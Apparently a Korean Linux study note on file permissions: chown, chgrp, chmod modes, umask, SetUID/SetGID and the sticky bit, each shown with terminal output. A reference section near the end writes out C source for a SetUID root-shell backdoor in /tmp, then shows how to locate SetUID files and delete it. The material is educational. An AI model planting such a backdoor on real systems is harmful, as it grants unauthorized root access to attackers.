@ 리눅스 퍼미션
- 퍼미션이란 리눅스 사용자들이 디렉토리 및 파일에 대한 읽기/쓰기/실행에 관련된 권한을 의미한다.
퍼미션 10진수(8진수) 파일 디렉토리
읽기(r : read) 4 파일 안에 있는 내용을 볼수 있다. 디렉토리 안에 있는 내용을 볼수 있다.
Ex) cat, vi Ex) ls
쓰기(w : write) 2 파일 안에 있는 내용을 수정할 수 있다. 디렉토리 안에 있는 내용을 수정할 수 있다.
Ex) 편집기, >, >> Ex) 파일/디렉토리 이름 변경, 파일/디렉토리 생성/삭제/이동
실행(x : execute) 1 파일을 실행할 수 있다. 디렉토리를 접근할 수 있다.
Ex) ./testfile Ex) cd
거부(- :denied) 0 권한 X 권한 X
dir1
file1
EX) file1을 수정하려면, dir1 디렉토리, file1 파일에 각각 필요한 최소 권한은 무엇인가?
EX) file1을 삭제하려면 dir1과 file1에 필요한 최소 권한은 무엇인가?
- 퍼미션 표기 방식
2^2 2^1 2^0
4 2 1
r w x
[root@Client1 /root]# cd
[root@Client1 /root]# mkdir test
[root@Client1 /root]# cd test
[root@Client1 /root/test]# echo "Hello Linux" > testfile
[root@Client1 /root/test]#
[root@Client1 /root/test]# useradd test
[root@Client1 /root/test]# chmod 764 testfile
[root@Client1 /root/test]#
[root@Client1 /root/test]# chown test testfile
[root@Client1 /root/test]#
[root@Client1 /root/test]# ls -l testfile
-rwxrw-r--. 1 test root 12 2020-12-29 19:12 testfile
- 파일
rwx 소유자(owner) 파일의 소유자는 'testfile'에 대해서 읽기/쓰기/실행이 가능하다.
rw- 그룹(group) 같은 그룹의 사용자는 'testfile'에 대해서 읽기/쓰기만 가능하다.
r-- 다른사용자(other) 다른 사용자는 'testfile'에 대해서 읽기만 가능하다.
[root@Client1 /root/test]# rm -rf testfile
1. 'chown' 명령어
- 파일의 소유자 및 그룹을 변경할 때 사용하는 명령어
[root@Client1 /root/test]# touch file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 root root 0 2020-12-29 19:22 file1
[root@Client1 /root/test]# chown user1 file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 user1 root 0 2020-12-29 19:22 file1
[root@Client1 /root/test]# chown .user1 file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 user1 user1 0 2020-12-29 19:22 file1
[root@Client1 /root/test]# chown user2.user2 file1 -> 소유자, 그룹 한 번에 변환
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 user2 user2 0 2020-12-29 19:22 file1
[root@Client1 /root/test]# chown root.root file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 root root 0 2020-12-29 19:22 file1
[root@Client1 /root/test]# rm -rf file1
- 현재 및 하위 디렉토리와 하위 파일들의 소유자 및 그룹을 한번에 변경할 경우
[root@Client1 /root/test]# mkdir -p dir1/dir2/dir3
[root@Client1 /root/test]# touch dir1/file1
[root@Client1 /root/test]# touch dir1/file2
[root@Client1 /root/test]# ls -ld dir1
drwxr-xr-x. 3 root root 4096 2020-12-29 19:29 dir1
[root@Client1 /root/test]# ls -lR dir1
dir1:
합계 4
drwxr-xr-x. 3 root root 4096 2020-12-29 19:28 dir2
-rw-r--r--. 1 root root 0 2020-12-29 19:28 file1
-rw-r--r--. 1 root root 0 2020-12-29 19:29 file2
dir1/dir2:
합계 4
drwxr-xr-x. 2 root root 4096 2020-12-29 19:28 dir3
dir1/dir2/dir3:
합계 0
[root@Client1 /root/test]# chown -R user1.user1 dir1 -> dir1 부터 바꿈
[root@Client1 /root/test]# ls -ld dir1
drwxr-xr-x. 3 user1 user1 4096 2020-12-29 19:29 dir1
[root@Client1 /root/test]# ls -lR dir1
dir1:
합계 4
drwxr-xr-x. 3 user1 user1 4096 2020-12-29 19:28 dir2
-rw-r--r--. 1 user1 user1 0 2020-12-29 19:28 file1
-rw-r--r--. 1 user1 user1 0 2020-12-29 19:29 file2
dir1/dir2:
합계 4
drwxr-xr-x. 2 user1 user1 4096 2020-12-29 19:28 dir3
dir1/dir2/dir3:
합계 0
[root@Client1 /root/test]# rm -rf dir*
2. 'chgrp' 명령어 -> chown을 사용하자
- 파일의 그룹을 변경할 때 사용하는 명령어
[root@Client1 /root/test]# touch file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 root root 0 2020-12-29 19:38 file1
[root@Client1 /root/test]# chgrp user1 file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 root user1 0 2020-12-29 19:38 file1
[root@Client1 /root/test]# rm -rf file1
- 현재 및 하위 디렉토리와 하위 파일들의 그룹을 한번에 변경할 경우
[root@Client1 /root/test]# mkdir -p dir1/dir2/dir3
[root@Client1 /root/test]# touch dir1/file1 dir1/file2
[root@Client1 /root/test]# ls -ld dir1
drwxr-xr-x. 3 root root 4096 2020-12-29 19:42 dir1
[root@Client1 /root/test]# ls -lR dir1
dir1:
합계 4
drwxr-xr-x. 3 root root 4096 2020-12-29 19:42 dir2
-rw-r--r--. 1 root root 0 2020-12-29 19:42 file1
-rw-r--r--. 1 root root 0 2020-12-29 19:42 file2
dir1/dir2:
합계 4
drwxr-xr-x. 2 root root 4096 2020-12-29 19:42 dir3
dir1/dir2/dir3:
합계 0
[root@Client1 /root/test]# chgrp -R user1 dir1
[root@Client1 /root/test]# ls -ld dir1
drwxr-xr-x. 3 root user1 4096 2020-12-29 19:42 dir1
[root@Client1 /root/test]# ls -lR dir1
dir1:
합계 4
drwxr-xr-x. 3 root user1 4096 2020-12-29 19:42 dir2
-rw-r--r--. 1 root user1 0 2020-12-29 19:42 file1
-rw-r--r--. 1 root user1 0 2020-12-29 19:42 file2
dir1/dir2:
합계 4
drwxr-xr-x. 2 root user1 4096 2020-12-29 19:42 dir3
dir1/dir2/dir3:
합계 0
[root@Client1 /root/test]# rm -rf dir*
3. 'chmod' 명령어
- 파일 및 디렉토리 권한을 변경하는 명령어
- 파일 및 디렉토리 권한을 갖고 있는 소유자만 사용 가능함, 단 root 계정은 사용 가능함
- 심볼릭 모드, 수치 모드
1) 심볼릭 모드
사용자 기호
u user 파일 및 디렉토리 소유자
g group 파일 및 디렉토리 그룹
o other 다른 사용자
a all 소유자, 드룹, 다른 사용자
설정 기호
+ 퍼미션 추가
- 퍼미션 제거
= 퍼미션 변경
권한 기호
r read 읽기 권한
w write 쓰기 권한
x excute 실행 권한
- denied 권한 없음
실행 권한
실행 권한 O 실행 권한 X
파일 실행 파일 일반 문서 파일
디렉토리 접근 가능 접근 불가능
[참고] 파일 수정 작업에 필요한 권한
- 파일에 읽기 권한이 없다면, 파일 내용을 열어서 확인할 수 없기 때문에 수정 작업이 불가능하다.
- 파일에 쓰기 권한이 없다면, 파일을 수정할 수 없기 때문에 수정 작업이 불가능하다.
- 파일 수정 작업이 가능하려면 읽기/쓰기 권한이 있어야 한다.
[root@Client1 /root/test]# touch file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 root root 0 2020-12-29 20:08 file1
[root@Client1 /root/test]# chmod u+x file1
[root@Client1 /root/test]# ls -l file1
-rwxr--r--. 1 root root 0 2020-12-29 20:08 file1
[root@Client1 /root/test]# chmod g+w file1
[root@Client1 /root/test]# ls -l
합계 0
-rwxrw-r--. 1 root root 0 2020-12-29 20:08 file1
[root@Client1 /root/test]# chmod u-x,g-w file1
[root@Client1 /root/test]# ls -l
합계 0
-rw-r--r--. 1 root root 0 2020-12-29 20:08 file1
[root@Client1 /root/test]# chmod u-w,g-r,o-r file1
[root@Client1 /root/test]# ls -l
합계 0
-r--------. 1 root root 0 2020-12-29 20:08 file1
[root@Client1 /root/test]# chmod a=rwx file1
[root@Client1 /root/test]# ls -l
합계 0
-rwxrwxrwx. 1 root root 0 2020-12-29 20:08 file1
[root@Client1 /root/test]# rm -rf file1
Ex) 'testfile'을 생성하여 소유자 'user1', 그룹 'user1'으로 변경한다. 그리고 다음과 같은 권한을 부여한다.
- 소유자는 'testfile'에 대해서 읽기/쓰기/실행이 가능해야한다.
- 그룹은 'testfile'에 대해서 읽기/쓰기만 가능해야 한다.
- 다른 사용자는 읽기/쓰기/실행이 불가능해야 한다.
[root@Client1 /root/test]# touch testfile
[root@Client1 /root/test]# chown user1.user1 testfile
[root@Client1 /root/test]# ls -l testfile
-rw-r--r--. 1 user1 user1 0 2020-12-29 20:26 testfile
[root@Client1 /root/test]# chmod u+x,g+w,o-r testfile
[root@Client1 /root/test]# ls -l testfile
-rwxrw----. 1 user1 user1 0 2020-12-29 20:26 testfile
[root@Client1 /root/test]# rm -rf testfile
2) 수치 모드
소유자 그룹 다른 사용자
r w x r w x r w x
2^2 2^1 2^0 2^2 2^1 2^0 2^2 2^1 2^0
4 2 1 4 2 1 4 2 1
소유자 그룹 다른 사용자
777 rwx rwx rwx
764 rwx rw- r--
757 rwx r-x rwx
755 rwx r-x r-x
754 rwx r-x r--
744 rwx r-- r--
722 rwx -w- -w-
700 rwx --- ---
664 rw- rw- r--
646 rw- r-- rw-
644 rw- r-- r--
[root@Client1 /root/test]# touch file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 root root 0 2020-12-29 20:43 file1
[root@Client1 /root/test]# chmod 744 file1
[root@Client1 /root/test]# ls -l file1
-rwxr--r--. 1 root root 0 2020-12-29 20:43 file1
[root@Client1 /root/test]# chmod 754 file1
[root@Client1 /root/test]# ls -l file1
-rwxr-xr--. 1 root root 0 2020-12-29 20:43 file1
[root@Client1 /root/test]# rm -rf file1
Ex) 'testfile'을 생성하여 소유자 'user1', 그룹 'user1'으로 변경한다. 그리고 다음과 같은 권한을 부여한다.
- 소유자는 'testfile'에 대해서 읽기/쓰기/실행이 가능해야한다.
- 그룹은 'testfile'에 대해서 읽기/쓰기만 가능해야 한다.
- 다른 사용자는 읽기/쓰기/실행이 불가능해야 한다.
[root@Client1 /root/test]# touch testfile
[root@Client1 /root/test]# chown user1.user1 testfile
[root@Client1 /root/test]# ls -l
합계 0
-rw-r--r--. 1 user1 user1 0 2020-12-29 20:48 testfile
[root@Client1 /root/test]# chmod 760 testfile
[root@Client1 /root/test]# ls -l testfile
-rwxrw----. 1 user1 user1 0 2020-12-29 20:48 testfile
[root@Client1 /root/test]# rm -rf testfile
4. 파일 및 디렉토리 퍼미션 이해
파일 퍼미션
r read 파일을 읽을 수 있다.
w write 파일을 수정할 수 있다.
x execute 파일을 실행할 수 있다.
디렉토리 퍼미션
r read 디렉토리 안에서 ls 명령어를 수행할 수 있다.
w write 디렉토리 안의 파일을 생성/삭제할 수 있다.
x execute 디렉토리를 'cd' 명령어로 이동할 수 있다.
- user2에서 진행
[user2@Client1 /home/user2]$ ls -ld /home/user2
drwx------. 4 user2 user2 4096 2020-12-22 21:26 /home/user2
7 0 0
[user2@Client1 /home/user2]$
[user2@Client1 /home/user2]$ mkdir dir1
[user2@Client1 /home/user2]$ touch dir1/file1
[user2@Client1 /home/user2]$ ls -lR
.:
합계 4
drwxrwxr-x. 2 user2 user2 4096 2020-12-29 21:03 dir1
7 7 5
./dir1:
합계 0
-rw-rw-r--. 1 user2 user2 0 2020-12-29 21:03 file1
6 6 4
- user1에서는 '/home/user2' 디렉토리 접근 및 파일 생성/삭제 불가능
[user1@Client1 /home/user1]$ cd /home/user2
-bash: cd: /home/user2: 허가 거부
[user1@Client1 /home/user1]$ cd /home/user2/dir1
-bash: cd: /home/user2/dir1: 허가 거부
[user1@Client1 /home/user1]$ touch /home/user2/dir1/file2
touch: cannot touch `/home/user2/dir1/file2': 허가 거부
[user1@Client1 /home/user1]$ rm -rf /home/user2/dir1/file1
rm: cannot remove `/home/user2/dir1/file1': 허가 거부
- user2에서 진행
[user2@Client1 /home/user2]$ chmod 757 /home/user2
[user2@Client1 /home/user2]$ ls -ld /home/user2
drwxr-xrwx. 5 user2 user2 4096 2020-12-29 21:03 /home/user2
7 5 7
[user2@Client1 /home/user2]$ chmod 755 dir1
[user2@Client1 /home/user2]$ touch dir1/file2
[user2@Client1 /home/user2]$ chmod 646 dir1/file2
[user2@Client1 /home/user2]$ ls -lR
.:
합계 4
drwxr-xr-x. 2 user2 user2 4096 2020-12-29 21:07 dir1
7 5 5
./dir1:
합계 0
-rw-rw-r--. 1 user2 user2 0 2020-12-29 21:03 file1
6 6 4
-rw-r--rw-. 1 user2 user2 0 2020-12-29 21:07 file2
6 4 6
- user1에서는 '/home/user2' 디렉토리 접근 및 파일/디렉토리 생성/삭제 가능
[user1@Client1 /home/user1]$ cd /home/user2
[user1@Client1 /home/user2]$ touch file3
[user1@Client1 /home/user2]$ ls -l
합계 4
drwxr-xr-x. 2 user2 user2 4096 2020-12-29 21:07 dir1
-rw-rw-r--. 1 user1 user1 0 2020-12-29 21:14 file3
[user1@Client1 /home/user2]$ mkdir dir2
[user1@Client1 /home/user2]$ ls -l
합계 8
drwxr-xr-x. 2 user2 user2 4096 2020-12-29 21:07 dir1
drwxrwxr-x. 2 user1 user1 4096 2020-12-29 21:14 dir2
-rw-rw-r--. 1 user1 user1 0 2020-12-29 21:14 file3
[user1@Client1 /home/user2]$
[user1@Client1 /home/user2]$ rm -rf file3
[user1@Client1 /home/user2]$ rm -rf dir2
- user1에서는 '/home/user2/dir1' 디렉토리 접근 가능, 단 파일/디렉토리 생성/삭제 가능
[user1@Client1 /home/user2]$ cd /home/user2/dir1
[user1@Client1 /home/user2/dir1]$ touch file3
touch: cannot touch `file3': 허가 거부
[user1@Client1 /home/user2/dir1]$ mkdir dir2
mkdir: `dir2' 디렉토리를 만들 수 없습니다: 허가 거부
[user1@Client1 /home/user2/dir1]$ ls -l
합계 0
-rw-rw-r--. 1 user2 user2 0 2020-12-29 21:03 file1
-rw-r--rw-. 1 user2 user2 0 2020-12-29 21:07 file2
[user1@Client1 /home/user2/dir1]$ rm -rf file1
rm: cannot remove `file1': 허가 거부
[user1@Client1 /home/user2/dir1]$ rm -rf file2
rm: cannot remove `file2': 허가 거부
- user2에서 진행
[user2@Client1 /home/user2]$ chmod 757 dir1
[user2@Client1 /home/user2]$ ls -lR
.:
합계 4
drwxr-xrwx. 2 user2 user2 4096 2020-12-29 21:07 dir1
7 5 7
./dir1:
합계 0
-rw-rw-r--. 1 user2 user2 0 2020-12-29 21:03 file1
-rw-r--rw-. 1 user2 user2 0 2020-12-29 21:07 file2
- user1에서는 '/home/user2/dir1' 디렉토리 접근 및 파일/디렉토리 생성/삭제 가능
[user1@Client1 /home/user2/dir1]$ cd
[user1@Client1 /home/user1]$
[user1@Client1 /home/user1]$ cd /home/user2/dir1
[user1@Client1 /home/user2/dir1]$ touch file3
[user1@Client1 /home/user2/dir1]$ mkdir dir2
[user1@Client1 /home/user2/dir1]$ ls -l
합계 4
drwxrwxr-x. 2 user1 user1 4096 2020-12-29 21:23 dir2
-rw-rw-r--. 1 user2 user2 0 2020-12-29 21:03 file1
-rw-r--rw-. 1 user2 user2 0 2020-12-29 21:07 file2
-rw-rw-r--. 1 user1 user1 0 2020-12-29 21:23 file3
[user1@Client1 /home/user2/dir1]$ rm -rf file*
[user1@Client1 /home/user2/dir1]$ rm -rf dir2
[user1@Client1 /home/user2/dir1]$ cd
- root에서 진행
[root@Client1 /root/test]# rm -rf /home/user2/dir1
5. 'umask' -> 쓰기 권한을 없애버림(그룹,아더)
- 파일 및 디렉토리 생성시 기본 퍼미션 값을 조정하는 기능을 수행한다.
[root@Client1 /root/test]# umask
0022
루트 계정은 0022
일반 계정은 0002
파일 디렉토리
기본 퍼미션 666 777
umask - 022 - 022
생성시 퍼미션 644 755
[root@Client1 /root/test]# ls -lR
.:
합계 4
drwxr-xr-x. 2 root root 4096 2020-12-29 21:31 dir1
7 5 5
-rw-r--r--. 1 root root 0 2020-12-29 21:31 file1
6 4 4
./dir1:
합계 0
[root@Client1 /root/test]# rm -rf dir1
[root@Client1 /root/test]# rm -rf file1
- umask 변경 방법
[root@Client1 /root/test]# umask 002
[root@Client1 /root/test]# umask
0002
[root@Client1 /root/test]# umask 022
[root@Client1 /root/test]# umask
0022
6. SetUID/SetGID - 실습 whereis chsh
- 일반 계정이 SetUID가 설정된 파일을 실행하면, 그 파일의 소유자 권한을 할당해주는 기능을 수행하는 특수 권한이다.
- 예를 들어 root 계정으로 'usermod' 명령어를 이용하면 계정에 대한 홈 디렉토리 및 쉘 유형을 변경할 수 있다.
- 이때 변경된 내용은 '/etc/passwd' 파일에 설정된다.
질문
-rws--x--x. 1 root root 20056 2014-10-15 19:38 /usr/bin/chsh
chsh 실행파일에 other 권한에서 x(excute)가 있어서 user1에서도 실행가능한거 아닌가..?
해결
user1에서 chsh 치면 chsh 명령어 other 권한에 x(excute)가 있기때문에 허가거부가 안뜬다. 근데 chsh명령어는 shell을 입력받아 /etc/shadow에 기록을 해야한다. 근데 /etc/shadow 권한은 아무 것도 없다. 즉 other에 w(write)가 없기 떄문에 user1은 결국 shell을 바꾸지 못한다. 근데 chsh 명령어는 SetUID가 설정되어 있어 chsh 명령어가 실행되는 동안 root 소유권을 얻게 된다. 따라서 /etc/shadow 파일에 root 권한으로 기록할 수 있게 된다. (root은 rwx 권한이 없어도 할 수 있다,)
- 파일에 대한 소유권을 다른 사용자에게 할당하여, 소유자가 아닌 사용자도 파일에 소유권을 갖게 할 수 있는 기능을 수행하는 특수권한이다.
find / -perm -4000 2> /dev/null
SetUID가 설정된 파일을 찾는 명령어
시스템 보안정검할때 본다.
특수 권한 소유자 그룹 다른 사용자
SetUID SetGID Sticky bit r w x r w x r x x
2^2 2^1 2^0
4 2 1
SetUID SetGID Sticky bit
4nnn 2nnn 1nnn
--s --- --- --- --s --- --- --- --t 실행(x)가 있는 경우, 소문자 표기
--S --- --- --- --S --- --- --- --T 실행(x)가 없는 경우, 대문자 표기
s가 나온다는건 SetUID가 설정 됬다는 뜻이다. 근데 S이면 실행권이 업고 s이면 실행권한이 있다.
[root@Client1 /root/test]# touch file1
[root@Client1 /root/test]# ls -l file1
-rw-r--r--. 1 root root 0 2020-12-29 21:37 file1
[root@Client1 /root/test]# chmod 4755 file1
[root@Client1 /root/test]# ls -l file1
-rwsr-xr-x. 1 root root 0 2020-12-29 21:37 file1
[root@Client1 /root/test]# chmod 4655 file1
[root@Client1 /root/test]# ls -l file1
-rwSr-xr-x. 1 root root 0 2020-12-29 21:37 file1
[root@Client1 /root/test]# chmod 2755 file1
[root@Client1 /root/test]# ls -l file1
-rwxr-sr-x. 1 root root 0 2020-12-29 21:37 file1
[root@Client1 /root/test]# chmod 2765 file1
[root@Client1 /root/test]# ls -l file1
-rwxrwSr-x. 1 root root 0 2020-12-29 21:37 file1
[root@Client1 /root/test]# rm -rf file1
[root@Client1 /root]# mkdir /test
[root@Client1 /root]# ls -ld /test
drwxr-xr-x. 2 root root 4096 2020-12-31 19:12 /test
- user1에서 진행
[user1@Client1 /home/user1]$ cd /test
[user1@Client1 /test]$
[user1@Client1 /test]$ usermod -s /bin/csh user1
-bash: /usr/sbin/usermod: 허가 거부
[user1@Client1 /test]$
[user1@Client1 /test]$ chsh
Changing shell for user1.
암호:
New shell [/bin/bash]: /bin/csh
Shell changed.
[user1@Client1 /test]$ cat /etc/passwd | grep ^user1
user1:x:500:500::/home/user1:/bin/csh
- root에서 진행
[root@Client1 /root]# whereis chsh
chsh: /usr/bin/chsh /usr/share/man/man1/chsh.1.gz
[root@Client1 /root]# ls -l /usr/bin/chsh
-rws--x--x. 1 root root 20056 2014-10-15 19:38 /usr/bin/chsh
[root@Client1 /root]# chmod u-s /usr/bin/chsh
[root@Client1 /root]# ls -l /usr/bin/chsh
-rwx--x--x. 1 root root 20056 2014-10-15 19:38 /usr/bin/chsh
- user1에서 진행
[user1@Client1 /test]$ chsh
Changing shell for user1.
암호:
New shell [/bin/csh]: /bin/bash
setpwnam: 허가 거부
Shell *NOT* changed. Try again later.
- root에서 진행
[root@Client1 /root]# chmod u+s /usr/bin/chsh
[root@Client1 /root]# ls -l /usr/bin/chsh
-rws--x--x. 1 root root 20056 2014-10-15 19:38 /usr/bin/chsh
[user1@Client1 /test]$ chsh
Changing shell for user1.
암호:
New shell [/bin/csh]: /bin/bash
Shell changed.
[참고] SetUID가 설정된 파일 검색
find / -perm -4000 2> /dev/null
[참고] 'setuid'를 이용한 백도어 구성
- root 계정으로 다음과 같이 백도어 실행 프로그램을 제작한다.
[root@Client1 /root]# cd /tmp
[root@Client1 /tmp]# vi backdoor.c
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
setuid(0); // root ip -> 이걸 설정하려면 root 권한이 있어야한다. 따라서 setuid가(root) 필요
setgid(0); // root id
system("/bin/bash");
return 0;
}
:wq
[root@Client1 /tmp]# yum -y install gcc
[root@Client1 /tmp]# gcc -o bashshell backdoor.c
[root@Client1 /tmp]# ls -l bashshell
-rwxr-xr-x. 1 root root 18192 2022-05-27 17:02 bashshell
[root@Client1 /tmp]# chmod 4755 bashshell
[root@Client1 /tmp]#
[root@Client1 /tmp]# ls -l bashshell
-rwsr-xr-x. 1 root root 18192 2022-04-07 17:18 bashshell
[root@Client1 /tmp]# cd
[root@Client1 /root]#
- user1 계정으로 접속하여 'bashshell' 파일을 실행하여 root 계정으로 권한이 상승되는지 확인한다.
[user1@Client1 /home/user1]$ cd /tmp
[user1@Client1 /tmp]$ ls -l bashshell
-rwsr-xr-x. 1 root root 18192 2022-04-07 17:18 bashshell
권한이 root로 상승되었다.
[root@Client1 /tmp]$ exit
exit
[user1@Client1 /tmp]$ cd
[user1@Client1 /home/user1]$
- root 계정에서 setuid가 설정된 불필요한 파일이 있는지 확인하고 삭제한다.
[root@Client1 /tmp]# find / -perm -4000 2> /dev/null
/usr/bin/fusermount3
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper
/usr/bin/at
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/libexec/qemu-bridge-helper
/usr/libexec/Xorg.wrap
/usr/libexec/sssd/krb5_child
/usr/libexec/sssd/ldap_child
/usr/libexec/sssd/proxy_child
/usr/libexec/sssd/selinux_child
/usr/libexec/cockpit-session
/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper
/tmp/bashshell
[root@Client1 /root]# rm -rf /tmp/bashshell
7. Sticky bit
- 파일 쓰기 권한이 없어도 디렉토리 쓰기 권한이 있는 경우, 디렉토리 권한에 의해서 파일을 삭제할 수 있다.
- 만약, 특정 디렉토리를 공용 디렉토리 목적으로 사용할 경우, 사용자들에 의해서 파일을 생성할 수 있으나, 파일을 수정/삭제할 수 없도록 제한 할 경우 사용하는 기능이다.
- Sticky bit는 디렉토리 퍼미션이 '777'인 경우 사용할 수 있다.
- Sticky bit 디렉토리에서 user1이 만든 건 user2가 지울 수 없다.
- rwx rwx rwx -> 다 지울 수 있음
- rwx rwx rwt -> 자기거만 지울 수 있음
[root@Client1 /root]# cd
[root@Client1 /root]# mkdir test
[root@Client1 /root]# cd test
[root@Client1 /root/test]# mkdir dir1
[root@Client1 /root/test]# ls -ld dir1
drwxr-xr-x. 2 root root 4096 2020-12-31 19:30 dir1
[root@Client1 /root/test]# chmod 1777 dir1
[root@Client1 /root/test]# ls -ld dir1
drwxrwxrwt. 2 root root 4096 2020-12-31 19:30 dir1
[root@Client1 /root/test]# chmod 1776 dir1
[root@Client1 /root/test]# ls -ld dir1
drwxrwxrwT. 2 root root 4096 2020-12-31 19:30 dir1
[root@Client1 /root/test]# chmod 1001 dir1
[root@Client1 /root/test]# ls -ld dir1
d--------t. 2 root root 4096 2020-12-31 19:30 dir1
[root@Client1 /root/test]# chmod 1000 dir1
[root@Client1 /root/test]# ls -ld dir1
d--------T. 2 root root 4096 2020-12-31 19:30 dir1
[root@Client1 /root/test]# rm -rf dir1
- Sticky bit가 설정된 대표적인 디렉토리는 /tmp 가 있다.
[root@Client1 /root/test]# ls -ld /tmp
drwxrwxrwt. 10 root root 4096 2020-12-31 19:30 /tmp
- user2에서 진행
[user2@Client1 /home/user2]$ cd /tmp
[user2@Client1 /tmp]$ mkdir stickybit
[user2@Client1 /tmp]$ echo 1111 > file1
[user2@Client1 /tmp]$ echo 2222 > stickybit/file2
[user2@Client1 /tmp]$ ls -l | grep user2
-rw-rw-r--. 1 user2 user2 5 2020-12-31 19:38 file1
drwxrwxr-x. 2 user2 user2 4096 2020-12-31 19:38 stickybit
- user1에서 진행
[user1@Client1 /test]$ cd /tmp
[user1@Client1 /tmp]$ mkdir linux
[user1@Client1 /tmp]$ echo 3333 > file3
[user1@Client1 /tmp]$ echo 4444 > linux/file4
[user1@Client1 /tmp]$ ls -l | grep user1
-rw-rw-r--. 1 user1 user1 5 2020-12-31 19:41 file3
drwxrwxr-x. 2 user1 user1 4096 2020-12-31 19:41 linux
- user2에서 user1이 생성한 디렉토리 및 파일 삭제 및 수정이 가능한지 확인
[user2@Client1 /tmp]$ rm -rf linux
rm: cannot remove `linux/file4': 허가 거부
[user2@Client1 /tmp]$ rm -rf file3
rm: cannot remove `file3': 명령을 허용하지 않음
[user2@Client1 /tmp]$ rm -rf linux/file4
rm: cannot remove `linux/file4': 허가 거부
[user2@Client1 /tmp]$ echo 5555 >> linux/file4
-bash: linux/file4: 허가 거부
- user1에서 user2가 생성한 디렉토리 및 파일 삭제 및 수정이 가능한지 확인
[user1@Client1 /tmp]$ rm -rf stickybit
rm: cannot remove `stickybit/file2': 허가 거부
[user1@Client1 /tmp]$ rm -rf file1
rm: cannot remove `file1': 명령을 허용하지 않음
[user1@Client1 /tmp]$ rm -rf stickybit/file2
rm: cannot remove `stickybit/file2': 허가 거부
[user1@Client1 /tmp]$ echo 0000 >> stickybit/file2
-bash: stickybit/file2: 허가 거부
- root에서 진행
[root@Client1 /root/test]# rm -rf /tmp/file* /tmp/stickybit /tmp/linux
[참고] Sticky bit가 설정된 파일 검색
find / -perm -1000 2> /dev/null
참고
백스페이스(<-)를 눌렀을 때 ^H 가 뜨면 ctrl + 백스페이스 로 지우자!